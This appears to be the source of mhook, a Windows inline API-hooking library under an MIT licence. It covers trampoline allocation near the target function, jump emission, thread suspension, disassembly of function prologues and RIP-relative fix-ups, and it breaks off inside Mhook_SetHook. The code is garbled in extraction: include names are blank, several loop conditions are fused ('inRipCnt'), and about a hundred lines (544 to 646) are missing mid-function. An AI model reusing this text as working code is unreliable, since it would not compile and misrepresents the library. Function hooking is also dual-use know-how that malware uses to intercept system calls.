copies of the Software, and to permit persons to whom the 8 | //Software is furnished to do so, subject to the following conditions: 9 | // 10 | //The above copyright notice and this permission notice shall be included 11 | //in all copies or substantial portions of the Software. 12 | // 13 | //THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | //OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | //FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | //THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | //LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 18 | //FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS 19 | //IN THE SOFTWARE. 20 | 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include "mhook.h" 26 | #include "../disasm-lib/disasm.h" 27 | 28 | #ifndef max 29 | #define max(a,b) ((a) > (b) ? (a) : (b)) 30 | #endif 31 | 32 | //========================================================================= 33 | #ifndef cntof 34 | #define cntof(a) (sizeof(a)/sizeof(a[0])) 35 | #endif 36 | 37 | //========================================================================= 38 | #ifndef GOOD_HANDLE 39 | #define GOOD_HANDLE(a) ((a!=INVALID_HANDLE_VALUE)&&(a!=NULL)) 40 | #endif 41 | 42 | //========================================================================= 43 | #ifndef gle 44 | #define gle GetLastError 45 | #endif 46 | 47 | //========================================================================= 48 | #ifndef ODPRINTF 49 | 50 | #ifdef _DEBUG 51 | #define ODPRINTF(a) odprintf a 52 | #else 53 | #define ODPRINTF(a) 54 | #endif 55 | 56 | inline void __cdecl odprintf(PCSTR format, ...) { 57 | va_list args; 58 | va_start(args, format); 59 | int len = _vscprintf(format, args); 60 | if (len > 0) { 61 | len += (1 + 2); 62 | PSTR buf = (PSTR) malloc(len); 63 | if (buf) { 64 | len = vsprintf_s(buf, len, format, args); 65 | if (len > 0) { 66 | while (len && isspace(buf[len-1])) len--; 67 | buf[len++] = '\r'; 68 | buf[len++] = '\n'; 69 | buf[len] = 0; 70 | OutputDebugStringA(buf); 71 | } 72 | free(buf); 73 | } 74 | va_end(args); 75 | } 76 | } 77 | 78 | inline void __cdecl odprintf(PCWSTR format, ...) { 79 | va_list args; 80 | va_start(args, format); 81 | int len = _vscwprintf(format, args); 82 | if (len > 0) { 83 | len += (1 + 2); 84 | PWSTR buf = (PWSTR) malloc(sizeof(WCHAR)*len); 85 | if (buf) { 86 | len = vswprintf_s(buf, len, format, args); 87 | if (len > 0) { 88 | while (len && iswspace(buf[len-1])) len--; 89 | buf[len++] = L'\r'; 90 | buf[len++] = L'\n'; 91 | buf[len] = 0; 92 | OutputDebugStringW(buf); 93 | } 94 | free(buf); 95 | } 96 | va_end(args); 97 | } 98 | } 99 | 100 | #endif //#ifndef ODPRINTF 101 | 102 | //========================================================================= 103 | #define MHOOKS_MAX_CODE_BYTES 32 104 | #define MHOOKS_MAX_RIPS 4 105 | 106 | //========================================================================= 107 | // The trampoline structure - stores every bit of info about a hook 108 | struct MHOOKS_TRAMPOLINE { 109 | PBYTE pSystemFunction; // the original system function 110 | DWORD cbOverwrittenCode; // number of bytes overwritten by the jump 111 | PBYTE pHookFunction; // the hook function that we provide 112 | BYTE codeJumpToHookFunction[MHOOKS_MAX_CODE_BYTES]; // placeholder for code that jumps to the hook function 113 | BYTE codeTrampoline[MHOOKS_MAX_CODE_BYTES]; // placeholder for code that holds the first few 114 | // bytes from the system function and a jump to the remainder 115 | // in the original location 116 | BYTE codeUntouched[MHOOKS_MAX_CODE_BYTES]; // placeholder for unmodified original code 117 | // (we patch IP-relative addressing) 118 | MHOOKS_TRAMPOLINE* pPrevTrampoline; // When in the free list, thess are pointers to the prev and next entry. 119 | MHOOKS_TRAMPOLINE* pNextTrampoline; // When not in the free list, this is a pointer to the prev and next trampoline in use. 120 | }; 121 | 122 | //========================================================================= 123 | // The patch data structures - store info about rip-relative instructions 124 | // during hook placement 125 | struct MHOOKS_RIPINFO 126 | { 127 | DWORD dwOffset; 128 | S64 nDisplacement; 129 | }; 130 | 131 | struct MHOOKS_PATCHDATA 132 | { 133 | S64 nLimitUp; 134 | S64 nLimitDown; 135 | DWORD nRipCnt; 136 | MHOOKS_RIPINFO rips[MHOOKS_MAX_RIPS]; 137 | }; 138 | 139 | //========================================================================= 140 | // Global vars 141 | static BOOL g_bVarsInitialized = FALSE; 142 | static CRITICAL_SECTION g_cs; 143 | static MHOOKS_TRAMPOLINE* g_pHooks = NULL; 144 | static MHOOKS_TRAMPOLINE* g_pFreeList = NULL; 145 | static DWORD g_nHooksInUse = 0; 146 | static HANDLE* g_hThreadHandles = NULL; 147 | static DWORD g_nThreadHandles = 0; 148 | #define MHOOK_JMPSIZE 5 149 | #define MHOOK_MINALLOCSIZE 4096 150 | 151 | //========================================================================= 152 | // Toolhelp defintions so the functions can be dynamically bound to 153 | typedef HANDLE (WINAPI * _CreateToolhelp32Snapshot)( 154 | DWORD dwFlags, 155 | DWORD th32ProcessID 156 | ); 157 | 158 | typedef BOOL (WINAPI * _Thread32First)( 159 | HANDLE hSnapshot, 160 | LPTHREADENTRY32 lpte 161 | ); 162 | 163 | typedef BOOL (WINAPI * _Thread32Next)( 164 | HANDLE hSnapshot, 165 | LPTHREADENTRY32 lpte 166 | ); 167 | 168 | //========================================================================= 169 | // Bring in the toolhelp functions from kernel32 170 | _CreateToolhelp32Snapshot fnCreateToolhelp32Snapshot = (_CreateToolhelp32Snapshot) GetProcAddress(GetModuleHandle(L"kernel32"), "CreateToolhelp32Snapshot"); 171 | _Thread32First fnThread32First = (_Thread32First) GetProcAddress(GetModuleHandle(L"kernel32"), "Thread32First"); 172 | _Thread32Next fnThread32Next = (_Thread32Next) GetProcAddress(GetModuleHandle(L"kernel32"), "Thread32Next"); 173 | 174 | //========================================================================= 175 | // Internal function: 176 | // 177 | // Remove the trampoline from the specified list, updating the head pointer 178 | // if necessary. 179 | //========================================================================= 180 | static VOID ListRemove(MHOOKS_TRAMPOLINE** pListHead, MHOOKS_TRAMPOLINE* pNode) { 181 | if (pNode->pPrevTrampoline) { 182 | pNode->pPrevTrampoline->pNextTrampoline = pNode->pNextTrampoline; 183 | } 184 | 185 | if (pNode->pNextTrampoline) { 186 | pNode->pNextTrampoline->pPrevTrampoline = pNode->pPrevTrampoline; 187 | } 188 | 189 | if ((*pListHead) == pNode) { 190 | (*pListHead) = pNode->pNextTrampoline; 191 | assert((*pListHead)->pPrevTrampoline == NULL); 192 | } 193 | 194 | pNode->pPrevTrampoline = NULL; 195 | pNode->pNextTrampoline = NULL; 196 | } 197 | 198 | //========================================================================= 199 | // Internal function: 200 | // 201 | // Prepend the trampoline from the specified list and update the head pointer. 202 | //========================================================================= 203 | static VOID ListPrepend(MHOOKS_TRAMPOLINE** pListHead, MHOOKS_TRAMPOLINE* pNode) { 204 | pNode->pPrevTrampoline = NULL; 205 | pNode->pNextTrampoline = (*pListHead); 206 | if ((*pListHead)) { 207 | (*pListHead)->pPrevTrampoline = pNode; 208 | } 209 | (*pListHead) = pNode; 210 | } 211 | 212 | //========================================================================= 213 | static VOID EnterCritSec() { 214 | if (!g_bVarsInitialized) { 215 | InitializeCriticalSection(&g_cs); 216 | g_bVarsInitialized = TRUE; 217 | } 218 | EnterCriticalSection(&g_cs); 219 | } 220 | 221 | //========================================================================= 222 | static VOID LeaveCritSec() { 223 | LeaveCriticalSection(&g_cs); 224 | } 225 | 226 | //========================================================================= 227 | // Internal function: 228 | // 229 | // Skip over jumps that lead to the real function. Gets around import 230 | // jump tables, etc. 231 | //========================================================================= 232 | static PBYTE SkipJumps(PBYTE pbCode) { 233 | PBYTE pbOrgCode = pbCode; 234 | #ifdef _M_IX86_X64 235 | #ifdef _M_IX86 236 | //mov edi,edi: hot patch point 237 | if (pbCode[0] == 0x8b && pbCode[1] == 0xff) 238 | pbCode += 2; 239 | // push ebp; mov ebp, esp; pop ebp; 240 | // "collapsed" stackframe generated by MSVC 241 | if (pbCode[0] == 0x55 && pbCode[1] == 0x8b && pbCode[2] == 0xec && pbCode[3] == 0x5d) 242 | pbCode += 4; 243 | #endif 244 | if (pbCode[0] == 0xff && pbCode[1] == 0x25) { 245 | #ifdef _M_IX86 246 | // on x86 we have an absolute pointer... 247 | PBYTE pbTarget = *(PBYTE *)&pbCode[2]; 248 | // ... that shows us an absolute pointer. 249 | return SkipJumps(*(PBYTE *)pbTarget); 250 | #elif defined _M_X64 251 | // on x64 we have a 32-bit offset... 252 | INT32 lOffset = *(INT32 *)&pbCode[2]; 253 | // ... that shows us an absolute pointer 254 | return SkipJumps(*(PBYTE*)(pbCode + 6 + lOffset)); 255 | } else if (pbCode[0] == 0x48 && pbCode[1] == 0xff && pbCode[2] == 0x25) { 256 | // or we can have the same with a REX prefix 257 | INT32 lOffset = *(INT32 *)&pbCode[3]; 258 | // ... that shows us an absolute pointer 259 | return SkipJumps(*(PBYTE*)(pbCode + 7 + lOffset)); 260 | #endif 261 | } else if (pbCode[0] == 0xe9) { 262 | // here the behavior is identical, we have... 263 | // ...a 32-bit offset to the destination. 264 | return SkipJumps(pbCode + 5 + *(INT32 *)&pbCode[1]); 265 | } else if (pbCode[0] == 0xeb) { 266 | // and finally an 8-bit offset to the destination 267 | return SkipJumps(pbCode + 2 + *(CHAR *)&pbCode[1]); 268 | } 269 | #else 270 | #error unsupported platform 271 | #endif 272 | return pbOrgCode; 273 | } 274 | 275 | //========================================================================= 276 | // Internal function: 277 | // 278 | // Writes code at pbCode that jumps to pbJumpTo. Will attempt to do this 279 | // in as few bytes as possible. Important on x64 where the long jump 280 | // (0xff 0x25 ....) can take up 14 bytes. 281 | //========================================================================= 282 | static PBYTE EmitJump(PBYTE pbCode, PBYTE pbJumpTo) { 283 | #ifdef _M_IX86_X64 284 | PBYTE pbJumpFrom = pbCode + 5; 285 | SIZE_T cbDiff = pbJumpFrom > pbJumpTo ? pbJumpFrom - pbJumpTo : pbJumpTo - pbJumpFrom; 286 | ODPRINTF((L"mhooks: EmitJump: Jumping from %p to %p, diff is %p", pbJumpFrom, pbJumpTo, cbDiff)); 287 | if (cbDiff <= 0x7fff0000) { 288 | pbCode[0] = 0xe9; 289 | pbCode += 1; 290 | *((PDWORD)pbCode) = (DWORD)(DWORD_PTR)(pbJumpTo - pbJumpFrom); 291 | pbCode += sizeof(DWORD); 292 | } else { 293 | pbCode[0] = 0xff; 294 | pbCode[1] = 0x25; 295 | pbCode += 2; 296 | #ifdef _M_IX86 297 | // on x86 we write an absolute address (just behind the instruction) 298 | *((PDWORD)pbCode) = (DWORD)(DWORD_PTR)(pbCode + sizeof(DWORD)); 299 | #elif defined _M_X64 300 | // on x64 we write the relative address of the same location 301 | *((PDWORD)pbCode) = (DWORD)0; 302 | #endif 303 | pbCode += sizeof(DWORD); 304 | *((PDWORD_PTR)pbCode) = (DWORD_PTR)(pbJumpTo); 305 | pbCode += sizeof(DWORD_PTR); 306 | } 307 | #else 308 | #error unsupported platform 309 | #endif 310 | return pbCode; 311 | } 312 | 313 | 314 | //========================================================================= 315 | // Internal function: 316 | // 317 | // Round down to the next multiple of rndDown 318 | //========================================================================= 319 | static size_t RoundDown(size_t addr, size_t rndDown) 320 | { 321 | return (addr / rndDown) * rndDown; 322 | } 323 | 324 | //========================================================================= 325 | // Internal function: 326 | // 327 | // Will attempt allocate a block of memory within the specified range, as 328 | // near as possible to the specified function. 329 | //========================================================================= 330 | static MHOOKS_TRAMPOLINE* BlockAlloc(PBYTE pSystemFunction, PBYTE pbLower, PBYTE pbUpper) { 331 | SYSTEM_INFO sSysInfo = {0}; 332 | ::GetSystemInfo(&sSysInfo); 333 | 334 | // Always allocate in bulk, in case the system actually has a smaller allocation granularity than MINALLOCSIZE. 335 | const ptrdiff_t cAllocSize = max(sSysInfo.dwAllocationGranularity, MHOOK_MINALLOCSIZE); 336 | 337 | MHOOKS_TRAMPOLINE* pRetVal = NULL; 338 | PBYTE pModuleGuess = (PBYTE) RoundDown((size_t)pSystemFunction, cAllocSize); 339 | int loopCount = 0; 340 | for (PBYTE pbAlloc = pModuleGuess; pbLower < pbAlloc && pbAlloc < pbUpper; ++loopCount) { 341 | // determine current state 342 | MEMORY_BASIC_INFORMATION mbi; 343 | ODPRINTF((L"mhooks: BlockAlloc: Looking at address %p", pbAlloc)); 344 | if (!VirtualQuery(pbAlloc, &mbi, sizeof(mbi))) 345 | break; 346 | // free & large enough? 347 | if (mbi.State == MEM_FREE && mbi.RegionSize >= (unsigned)cAllocSize) { 348 | // and then try to allocate it 349 | pRetVal = (MHOOKS_TRAMPOLINE*) VirtualAlloc(pbAlloc, cAllocSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); 350 | if (pRetVal) { 351 | size_t trampolineCount = cAllocSize / sizeof(MHOOKS_TRAMPOLINE); 352 | ODPRINTF((L"mhooks: BlockAlloc: Allocated block at %p as %d trampolines", pRetVal, trampolineCount)); 353 | 354 | pRetVal[0].pPrevTrampoline = NULL; 355 | pRetVal[0].pNextTrampoline = &pRetVal[1]; 356 | 357 | // prepare them by having them point down the line at the next entry. 358 | for (size_t s = 1; s < trampolineCount; ++s) { 359 | pRetVal[s].pPrevTrampoline = &pRetVal[s - 1]; 360 | pRetVal[s].pNextTrampoline = &pRetVal[s + 1]; 361 | } 362 | 363 | // last entry points to the current head of the free list 364 | pRetVal[trampolineCount - 1].pNextTrampoline = g_pFreeList; 365 | break; 366 | } 367 | } 368 | 369 | // This is a spiral, should be -1, 1, -2, 2, -3, 3, etc. (* cAllocSize) 370 | ptrdiff_t bytesToOffset = (cAllocSize * (loopCount + 1) * ((loopCount % 2 == 0) ? -1 : 1)); 371 | pbAlloc = pbAlloc + bytesToOffset; 372 | } 373 | 374 | return pRetVal; 375 | } 376 | 377 | //========================================================================= 378 | // Internal function: 379 | // 380 | // Will try to allocate a big block of memory inside the required range. 381 | //========================================================================= 382 | static MHOOKS_TRAMPOLINE* FindTrampolineInRange(PBYTE pLower, PBYTE pUpper) { 383 | if (!g_pFreeList) { 384 | return NULL; 385 | } 386 | 387 | // This is a standard free list, except we're doubly linked to deal with soem return shenanigans. 388 | MHOOKS_TRAMPOLINE* curEntry = g_pFreeList; 389 | while (curEntry) { 390 | if ((MHOOKS_TRAMPOLINE*) pLower < curEntry && curEntry < (MHOOKS_TRAMPOLINE*) pUpper) { 391 | ListRemove(&g_pFreeList, curEntry); 392 | 393 | return curEntry; 394 | } 395 | 396 | curEntry = curEntry->pNextTrampoline; 397 | } 398 | 399 | return NULL; 400 | } 401 | 402 | //========================================================================= 403 | // Internal function: 404 | // 405 | // Will try to allocate the trampoline structure within 2 gigabytes of 406 | // the target function. 407 | //========================================================================= 408 | static MHOOKS_TRAMPOLINE* TrampolineAlloc(PBYTE pSystemFunction, S64 nLimitUp, S64 nLimitDown) { 409 | 410 | MHOOKS_TRAMPOLINE* pTrampoline = NULL; 411 | 412 | // determine lower and upper bounds for the allocation locations. 413 | // in the basic scenario this is +/- 2GB but IP-relative instructions 414 | // found in the original code may require a smaller window. 415 | PBYTE pLower = pSystemFunction + nLimitUp; 416 | pLower = pLower < (PBYTE)(DWORD_PTR)0x0000000080000000 ? 417 | (PBYTE)(0x1) : (PBYTE)(pLower - (PBYTE)0x7fff0000); 418 | PBYTE pUpper = pSystemFunction + nLimitDown; 419 | pUpper = pUpper < (PBYTE)(DWORD_PTR)0xffffffff80000000 ? 420 | (PBYTE)(pUpper + (DWORD_PTR)0x7ff80000) : (PBYTE)(DWORD_PTR)0xfffffffffff80000; 421 | ODPRINTF((L"mhooks: TrampolineAlloc: Allocating for %p between %p and %p", pSystemFunction, pLower, pUpper)); 422 | 423 | // try to find a trampoline in the specified range 424 | pTrampoline = FindTrampolineInRange(pLower, pUpper); 425 | if (!pTrampoline) { 426 | // if it we can't find it, then we need to allocate a new block and 427 | // try again. Just fail if that doesn't work 428 | g_pFreeList = BlockAlloc(pSystemFunction, pLower, pUpper); 429 | pTrampoline = FindTrampolineInRange(pLower, pUpper); 430 | } 431 | 432 | // found and allocated a trampoline? 433 | if (pTrampoline) { 434 | ListPrepend(&g_pHooks, pTrampoline); 435 | } 436 | 437 | return pTrampoline; 438 | } 439 | 440 | //========================================================================= 441 | // Internal function: 442 | // 443 | // Return the internal trampoline structure that belongs to a hooked function. 444 | //========================================================================= 445 | static MHOOKS_TRAMPOLINE* TrampolineGet(PBYTE pHookedFunction) { 446 | MHOOKS_TRAMPOLINE* pCurrent = g_pHooks; 447 | 448 | while (pCurrent) { 449 | if (pCurrent->pHookFunction == pHookedFunction) { 450 | return pCurrent; 451 | } 452 | 453 | pCurrent = pCurrent->pNextTrampoline; 454 | } 455 | 456 | return NULL; 457 | } 458 | 459 | //========================================================================= 460 | // Internal function: 461 | // 462 | // Free a trampoline structure. 463 | //========================================================================= 464 | static VOID TrampolineFree(MHOOKS_TRAMPOLINE* pTrampoline, BOOL bNeverUsed) { 465 | ListRemove(&g_pHooks, pTrampoline); 466 | 467 | // If a thread could feasinbly have some of our trampoline code 468 | // on its stack and we yank the region from underneath it then it will 469 | // surely crash upon returning. So instead of freeing the 470 | // memory we just let it leak. Ugly, but safe. 471 | if (bNeverUsed) { 472 | ListPrepend(&g_pFreeList, pTrampoline); 473 | } 474 | 475 | g_nHooksInUse--; 476 | } 477 | 478 | //========================================================================= 479 | // Internal function: 480 | // 481 | // Suspend a given thread and try to make sure that its instruction 482 | // pointer is not in the given range. 483 | //========================================================================= 484 | static HANDLE SuspendOneThread(DWORD dwThreadId, PBYTE pbCode, DWORD cbBytes) { 485 | // open the thread 486 | HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId); 487 | if (GOOD_HANDLE(hThread)) { 488 | // attempt suspension 489 | DWORD dwSuspendCount = SuspendThread(hThread); 490 | if (dwSuspendCount != -1) { 491 | // see where the IP is 492 | CONTEXT ctx; 493 | ctx.ContextFlags = CONTEXT_CONTROL; 494 | int nTries = 0; 495 | while (GetThreadContext(hThread, &ctx)) { 496 | #ifdef _M_IX86 497 | PBYTE pIp = (PBYTE)(DWORD_PTR)ctx.Eip; 498 | #elif defined _M_X64 499 | PBYTE pIp = (PBYTE)(DWORD_PTR)ctx.Rip; 500 | #endif 501 | if (pIp >= pbCode && pIp < (pbCode + cbBytes)) { 502 | if (nTries < 3) { 503 | // oops - we should try to get the instruction pointer out of here. 504 | ODPRINTF((L"mhooks: SuspendOneThread: suspended thread %d - IP is at %p - IS COLLIDING WITH CODE", dwThreadId, pIp)); 505 | ResumeThread(hThread); 506 | Sleep(100); 507 | SuspendThread(hThread); 508 | nTries++; 509 | } else { 510 | // we gave it all we could. (this will probably never 511 | // happen - unless the thread has already been suspended 512 | // to begin with) 513 | ODPRINTF((L"mhooks: SuspendOneThread: suspended thread %d - IP is at %p - IS COLLIDING WITH CODE - CAN'T FIX", dwThreadId, pIp)); 514 | ResumeThread(hThread); 515 | CloseHandle(hThread); 516 | hThread = NULL; 517 | break; 518 | } 519 | } else { 520 | // success, the IP is not conflicting 521 | ODPRINTF((L"mhooks: SuspendOneThread: Successfully suspended thread %d - IP is at %p", dwThreadId, pIp)); 522 | break; 523 | } 524 | } 525 | } else { 526 | // couldn't suspend 527 | CloseHandle(hThread); 528 | hThread = NULL; 529 | } 530 | } 531 | return hThread; 532 | } 533 | 534 | //========================================================================= 535 | // Internal function: 536 | // 537 | // Resumes all previously suspended threads in the current process. 538 | //========================================================================= 539 | static VOID ResumeOtherThreads() { 540 | // make sure things go as fast as possible 541 | INT nOriginalPriority = GetThreadPriority(GetCurrentThread()); 542 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); 543 | // go through our list 544 | for (DWORD i=0; inRipCnt; i++) { 646 | DWORD dwNewDisplacement = (DWORD)(pdata->rips[i].nDisplacement - diff); 647 | ODPRINTF((L"mhooks: fixing up RIP instruction operand for code at 0x%p: " 648 | L"old displacement: 0x%8.8x, new displacement: 0x%8.8x", 649 | pbNew + pdata->rips[i].dwOffset, 650 | (DWORD)pdata->rips[i].nDisplacement, 651 | dwNewDisplacement)); 652 | *(PDWORD)(pbNew + pdata->rips[i].dwOffset) = dwNewDisplacement; 653 | } 654 | #endif 655 | } 656 | 657 | //========================================================================= 658 | // Examine the machine code at the target function's entry point, and 659 | // skip bytes in a way that we'll always end on an instruction boundary. 660 | // We also detect branches and subroutine calls (as well as returns) 661 | // at which point disassembly must stop. 662 | // Finally, detect and collect information on IP-relative instructions 663 | // that we can patch. 664 | static DWORD DisassembleAndSkip(PVOID pFunction, DWORD dwMinLen, MHOOKS_PATCHDATA* pdata) { 665 | DWORD dwRet = 0; 666 | pdata->nLimitDown = 0; 667 | pdata->nLimitUp = 0; 668 | pdata->nRipCnt = 0; 669 | #ifdef _M_IX86 670 | ARCHITECTURE_TYPE arch = ARCH_X86; 671 | #elif defined _M_X64 672 | ARCHITECTURE_TYPE arch = ARCH_X64; 673 | #else 674 | #error unsupported platform 675 | #endif 676 | DISASSEMBLER dis; 677 | if (InitDisassembler(&dis, arch)) { 678 | INSTRUCTION* pins = NULL; 679 | U8* pLoc = (U8*)pFunction; 680 | DWORD dwFlags = DISASM_DECODE | DISASM_DISASSEMBLE | DISASM_ALIGNOUTPUT; 681 | 682 | ODPRINTF((L"mhooks: DisassembleAndSkip: Disassembling %p", pLoc)); 683 | while ( (dwRet < dwMinLen) && (pins = GetInstruction(&dis, (ULONG_PTR)pLoc, pLoc, dwFlags)) ) { 684 | ODPRINTF(("mhooks: DisassembleAndSkip: %p:(0x%2.2x) %s", pLoc, pins->Length, pins->String)); 685 | if (pins->Type == ITYPE_RET ) break; 686 | if (pins->Type == ITYPE_BRANCH ) break; 687 | if (pins->Type == ITYPE_BRANCHCC) break; 688 | if (pins->Type == ITYPE_CALL ) break; 689 | if (pins->Type == ITYPE_CALLCC ) break; 690 | 691 | #if defined _M_X64 692 | BOOL bProcessRip = FALSE; 693 | // mov or lea to register from rip+imm32 694 | if ((pins->Type == ITYPE_MOV || pins->Type == ITYPE_LEA) && (pins->X86.Relative) && 695 | (pins->X86.OperandSize == 8) && (pins->OperandCount == 2) && 696 | (pins->Operands[1].Flags & OP_IPREL) && (pins->Operands[1].Register == AMD64_REG_RIP)) 697 | { 698 | // rip-addressing "mov reg, [rip+imm32]" 699 | ODPRINTF((L"mhooks: DisassembleAndSkip: found OP_IPREL on operand %d with displacement 0x%x (in memory: 0x%x)", 1, pins->X86.Displacement, *(PDWORD)(pLoc+3))); 700 | bProcessRip = TRUE; 701 | } 702 | // mov or lea to rip+imm32 from register 703 | else if ((pins->Type == ITYPE_MOV || pins->Type == ITYPE_LEA) && (pins->X86.Relative) && 704 | (pins->X86.OperandSize == 8) && (pins->OperandCount == 2) && 705 | (pins->Operands[0].Flags & OP_IPREL) && (pins->Operands[0].Register == AMD64_REG_RIP)) 706 | { 707 | // rip-addressing "mov [rip+imm32], reg" 708 | ODPRINTF((L"mhooks: DisassembleAndSkip: found OP_IPREL on operand %d with displacement 0x%x (in memory: 0x%x)", 0, pins->X86.Displacement, *(PDWORD)(pLoc+3))); 709 | bProcessRip = TRUE; 710 | } 711 | else if ( (pins->OperandCount >= 1) && (pins->Operands[0].Flags & OP_IPREL) ) 712 | { 713 | // unsupported rip-addressing 714 | ODPRINTF((L"mhooks: DisassembleAndSkip: found unsupported OP_IPREL on operand %d", 0)); 715 | // dump instruction bytes to the debug output 716 | for (DWORD i=0; iLength; i++) { 717 | ODPRINTF((L"mhooks: DisassembleAndSkip: instr byte %2.2d: 0x%2.2x", i, pLoc[i])); 718 | } 719 | break; 720 | } 721 | else if ( (pins->OperandCount >= 2) && (pins->Operands[1].Flags & OP_IPREL) ) 722 | { 723 | // unsupported rip-addressing 724 | ODPRINTF((L"mhooks: DisassembleAndSkip: found unsupported OP_IPREL on operand %d", 1)); 725 | // dump instruction bytes to the debug output 726 | for (DWORD i=0; iLength; i++) { 727 | ODPRINTF((L"mhooks: DisassembleAndSkip: instr byte %2.2d: 0x%2.2x", i, pLoc[i])); 728 | } 729 | break; 730 | } 731 | else if ( (pins->OperandCount >= 3) && (pins->Operands[2].Flags & OP_IPREL) ) 732 | { 733 | // unsupported rip-addressing 734 | ODPRINTF((L"mhooks: DisassembleAndSkip: found unsupported OP_IPREL on operand %d", 2)); 735 | // dump instruction bytes to the debug output 736 | for (DWORD i=0; iLength; i++) { 737 | ODPRINTF((L"mhooks: DisassembleAndSkip: instr byte %2.2d: 0x%2.2x", i, pLoc[i])); 738 | } 739 | break; 740 | } 741 | // follow through with RIP-processing if needed 742 | if (bProcessRip) { 743 | // calculate displacement relative to function start 744 | S64 nAdjustedDisplacement = pins->X86.Displacement + (pLoc - (U8*)pFunction); 745 | // store displacement values furthest from zero (both positive and negative) 746 | if (nAdjustedDisplacement < pdata->nLimitDown) 747 | pdata->nLimitDown = nAdjustedDisplacement; 748 | if (nAdjustedDisplacement > pdata->nLimitUp) 749 | pdata->nLimitUp = nAdjustedDisplacement; 750 | // store patch info 751 | if (pdata->nRipCnt < MHOOKS_MAX_RIPS) { 752 | pdata->rips[pdata->nRipCnt].dwOffset = dwRet + 3; 753 | pdata->rips[pdata->nRipCnt].nDisplacement = pins->X86.Displacement; 754 | pdata->nRipCnt++; 755 | } else { 756 | // no room for patch info, stop disassembly 757 | break; 758 | } 759 | } 760 | #endif 761 | 762 | dwRet += pins->Length; 763 | pLoc += pins->Length; 764 | } 765 | 766 | CloseDisassembler(&dis); 767 | } 768 | 769 | return dwRet; 770 | } 771 | 772 | //========================================================================= 773 | BOOL Mhook_SetHook(PVOID *ppSystemFunction, PVOID pHookFunction) { 774 | MHOOKS_TRAMPOLINE* pTrampoline = NULL; 775 | PVOID pSystemFunction = *ppSystemFunction; 776 | // ensure thread-safety 777 | EnterCritSec(); 778 | ODPRINTF((L"mhooks: Mhook_SetHook: Started on the job: %p / %p", pSystemFunction, pHookFunction)); 779 | // find the real functions (jump over jump tables, if any) 780 | pSystemFunction = SkipJumps((PBYTE)pSystemFunction); 781 | pHookFunction = SkipJumps((PBYTE)pHookFunction); 782 | ODPRINTF((L"mhooks: Mhook_SetHook: Started on the job: %p / %p", pSystemFunction, pHookFunction)); 783 | // figure out the length of the overwrite zone 784 | MHOOKS_PATCHDATA patchdata = {0}; 785 | DWORD dwInstructionLength = DisassembleAndSkip(pSystemFunction, MHOOK_JMPSIZE, &patchdata); 786 | if (dwInstructionLength >= MHOOK_JMPSIZE) { 787 | ODPRINTF((L"mhooks: Mhook_SetHook: disassembly signals %d bytes", dwInstructionLength)); 788 | // suspend every other thread in this process, and make sure their IP 789 | // is not in the code we're about to overwrite. 790 | SuspendOtherThreads((PBYTE)pSystemFunction, dwInstructionLength); 791 | // allocate a trampoline structure (TODO: it is pretty wasteful to get 792 | // VirtualAlloc to grab chunks of memory smaller than 100 bytes) 793 | pTrampoline = TrampolineAlloc((PBYTE)pSystemFunction, patchdata.nLimitUp, patchdata.nLimitDown); 794 | if (pTrampoline) { 795 | ODPRINTF((L"mhooks: Mhook_SetHook: allocated structure at %p", pTrampoline)); 796 | DWORD dwOldProtectSystemFunction = 0; 797 | DWORD dwOldProtectTrampolineFunction = 0; 798 | // set the system function to PAGE_EXECUTE_READWRITE 799 | if (VirtualProtect(pSystemFunction, dwInstructionLength, PAGE_EXECUTE_READWRITE, &dwOldProtectSystemFunction)) { 800 | ODPRINTF((L"mhooks: Mhook_SetHook: readwrite set on system function")); 801 | // mark our trampoline buffer to PAGE_EXECUTE_READWRITE 802 | if (VirtualProtect(pTrampoline, sizeof(MHOOKS_TRAMPOLINE), PAGE_EXECUTE_READWRITE, &dwOldProtectTrampolineFunction)) { 803 | ODPRINTF((L"mhooks: Mhook_SetHook: readwrite set on trampoline structure")); 804 | 805 | // create our trampoline function 806 | PBYTE pbCode = pTrampoline->codeTrampoline; 807 | // save original code.. 808 | for (DWORD i = 0; icodeUntouched[i] = pbCode[i] = ((PBYTE)pSystemFunction)[i]; 810 | } 811 | pbCode += dwInstructionLength; 812 | // plus a jump to the continuation in the original location 813 | pbCode = EmitJump(pbCode, ((PBYTE)pSystemFunction) + dwInstructionLength); 814 | ODPRINTF((L"mhooks: Mhook_SetHook: updated the trampoline")); 815 | 816 | // fix up any IP-relative addressing in the code 817 | FixupIPRelativeAddressing(pTrampoline->codeTrampoline, (PBYTE)pSystemFunction, &patchdata); 818 | 819 | DWORD_PTR dwDistance = (PBYTE)pHookFunction < (PBYTE)pSystemFunction ? 820 | (PBYTE)pSystemFunction - (PBYTE)pHookFunction : (PBYTE)pHookFunction - (PBYTE)pSystemFunction; 821 | if (dwDistance > 0x7fff0000) { 822 | // create a stub that jumps to the replacement function. 823 | // we need this because jumping from the API to the hook directly 824 | // will be a long jump, which is 14 bytes on x64, and we want to 825 | // avoid that - the API may or may not have room for such stuff. 826 | // (remember, we only have 5 bytes guaranteed in the API.) 827 | // on the other hand we do have room, and the trampoline will always be 828 | // within +/- 2GB of the API, so we do the long jump in there. 829 | // the API will jump to the "reverse trampoline" which 830 | // will jump to the user's hook code. 831 | pbCode = pTrampoline->codeJumpToHookFunction; 832 | pbCode = EmitJump(pbCode, (PBYTE)pHookFunction); 833 | ODPRINTF((L"mhooks: Mhook_SetHook: created reverse trampoline")); 834 | FlushInstructionCache(GetCurrentProcess(), pTrampoline->codeJumpToHookFunction, 835 | pbCode - pTrampoline->codeJumpToHookFunction); 836 | 837 | // update the API itself 838 | pbCode = (PBYTE)pSystemFunction; 839 | pbCode = EmitJump(pbCode, pTrampoline->codeJumpToHookFunction); 840 | } else { 841 | // the jump will be at 